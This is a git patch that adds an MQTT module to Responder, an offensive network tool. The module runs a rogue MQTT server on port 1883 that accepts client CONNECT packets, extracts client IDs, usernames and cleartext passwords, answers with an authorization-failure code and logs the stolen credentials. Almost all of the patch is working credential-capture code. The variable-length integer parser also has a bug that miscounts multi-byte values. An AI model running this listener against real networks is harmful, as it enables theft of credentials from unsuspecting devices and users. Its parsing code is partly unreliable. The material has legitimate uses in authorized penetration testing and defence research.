From a21b36605ce8c4c5ad214761e5da76e6aa816188 Mon Sep 17 00:00:00 2001 From: Ziga P <4499571+NullByteZero@users.noreply.github.com> Date: Mon, 5 Jun 2023 20:19:44 +0200 Subject: [PATCH] Implemented MQTT support --- Responder.conf | 1 + Responder.py | 4 + packets.py | 18 +++++ servers/MQTT.py | 205 ++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 + utils.py | 1 + 6 files changed, 231 insertions(+) create mode 100644 servers/MQTT.py diff --git a/Responder.conf b/Responder.conf index bae25f9..c157acf 100755 --- a/Responder.conf +++ b/Responder.conf @@ -16,6 +16,7 @@ LDAP = On DCERPC = On WINRM = On SNMP = Off +MQTT = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 6ef8862..2116864 100755 --- a/Responder.py +++ b/Responder.py @@ -351,6 +351,10 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) + if settings.Config.MQTT_On_Off: + from servers.MQTT import MQTT + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,))) + if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) diff --git a/packets.py b/packets.py index ecff5f7..270f7f8 100755 --- a/packets.py +++ b/packets.py @@ -800,6 +800,24 @@ class IMAPCapabilityEnd(Packet): ("CRLF", "\r\n"), ]) +##### MQTT Packets ##### +class MQTTv3v4ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x02"), + ("Session", "\x00"), + ("Code", "\x04"), + ]) + +class MQTTv5ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x03"), + ("Session", "\x00"), + ("Code", "\x86"), + ("Prop", "\x00"), + ]) + ##### POP3 Packets ##### class POPOKPacket(Packet): fields = OrderedDict([ diff --git a/servers/MQTT.py b/servers/MQTT.py new file mode 100644 index 0000000..f654664 --- /dev/null +++ b/servers/MQTT.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from utils import settings, NetworkSendBufferPython2or3, SaveToDb + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket + +#Read N byte integer +def readInt(data, offset, numberOfBytes): + value = int.from_bytes(data[offset:offset+numberOfBytes], 'big') + offset += numberOfBytes + return (value, offset) + +#Read binary data +def readBinaryData(data, offset): + + #Read number of bytes + length, offset = readInt(data, offset, 2) + + #Read bytes + value = data[offset:offset+length] + offset += length + + return (value, offset) + +#Same as readBinaryData() but without reading data +def skipBinaryDataString(data, offset): + length, offset = readInt(data, offset, 2) + offset += length + return offset + +#Read UTF-8 encoded string +def readString(data, offset): + value, offset = readBinaryData(data, offset) + + return (value.decode('utf-8'), offset) + +#Read variable byte integer +#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011) +def readVariableByteInteger(data, offset): + multiplier = 1 + value = 0 + while True: + encodedByte = data[offset] + offset += 1 + + value = (encodedByte & 127) * multiplier + + if (multiplier > 128 * 128 * 128): + return None + + multiplier *= 128 + + if(encodedByte & 128 == 0): + break + + return (value, offset) + +class MqttPacket: + + USERNAME_FLAG = 0x80 + PASSWORD_FLAG = 0x40 + WILL_FLAG = 0x04 + + def __init__(self, data): + self.__isValid = True + + controllPacketType, offset = readInt(data, 0, 1) + + #check if CONNECT packet type + if controllPacketType != 0x10: + self.__isValid = False + return + + #Remaining length + remainingLength, offset = readVariableByteInteger(data, offset) + + #Protocol name + protocolName, offset = readString(data, offset) + + #Check protocol name + if protocolName != "MQTT" and protocolName != "MQIsdp": + self.__isValid = False + return + + #Check protocol version + self.__protocolVersion, offset = readInt(data, offset, 1) + + #Read connect flag register + connectFlags, offset = readInt(data, offset, 1) + + #Read keep alive (skip) + offset += 2 + + #MQTTv5 implements properties + if self.__protocolVersion > 4: + + #Skip all properties + propertiesLength, offset = readVariableByteInteger(data, offset) + offset+=propertiesLength + + #Get Client ID + self.clientId, offset = readString(data, offset) + + if (self.clientId == ""): + self.clientId = "" + + #Skip Will + if (connectFlags & self.WILL_FLAG) > 0: + + #MQTT v5 implements properties + if self.__protocolVersion > 4: + willProperties, offset = readVariableByteInteger(data, offset) + + #Skip will properties + offset = skipBinaryDataString(data, offset) + offset = skipBinaryDataString(data, offset) + + #Get Username + if (connectFlags & self.USERNAME_FLAG) > 0: + self.username, offset = readString(data, offset) + else: + self.username = "" + + #Get Password + if (connectFlags & self.PASSWORD_FLAG) > 0: + self.password, offset = readString(data, offset) + else: + self.password = "" + + def isValid(self): + return self.__isValid + + def getProtocolVersion(self): + return self.__protocolVersion + + def data(self, client): + + return { + 'module': 'MQTT', + 'type': 'Cleartext', + 'client': client, + 'hostname': self.clientId, + 'user': self.username, + 'cleartext': self.password, + 'fullhash': self.username + ':' + self.password + } + +class MQTT(BaseRequestHandler): + def handle(self): + + CONTROL_PACKET_TYPE_CONNECT = 0x10 + + try: + data = self.request.recv(2048) + + #Read control packet type + controlPacketType, offset = readInt(data, 0, 1) + + #Skip non CONNECT packets + if controlPacketType != CONTROL_PACKET_TYPE_CONNECT: + return + + #Parse connect packet + packet = MqttPacket(data) + + #Skip if it contains invalid data + if not packet.isValid(): + #Return response + return + + #Send response packet + if packet.getProtocolVersion() < 5: + responsePacket = MQTTv3v4ResponsePacket() + else: + responsePacket = MQTTv5ResponsePacket() + + self.request.send(NetworkSendBufferPython2or3(responsePacket)) + + #Save to DB + SaveToDb(packet.data(self.client_address[0])) + + + except Exception: + raise + pass diff --git a/settings.py b/settings.py index 68429f1..90bacf8 100755 --- a/settings.py +++ b/settings.py @@ -125,6 +125,7 @@ class Settings: self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) @@ -207,6 +208,7 @@ class Settings: self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') diff --git a/utils.py b/utils.py index 8b9175f..34e0c3f 100755 --- a/utils.py +++ b/utils.py @@ -506,6 +506,7 @@ def StartupMessage(): print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))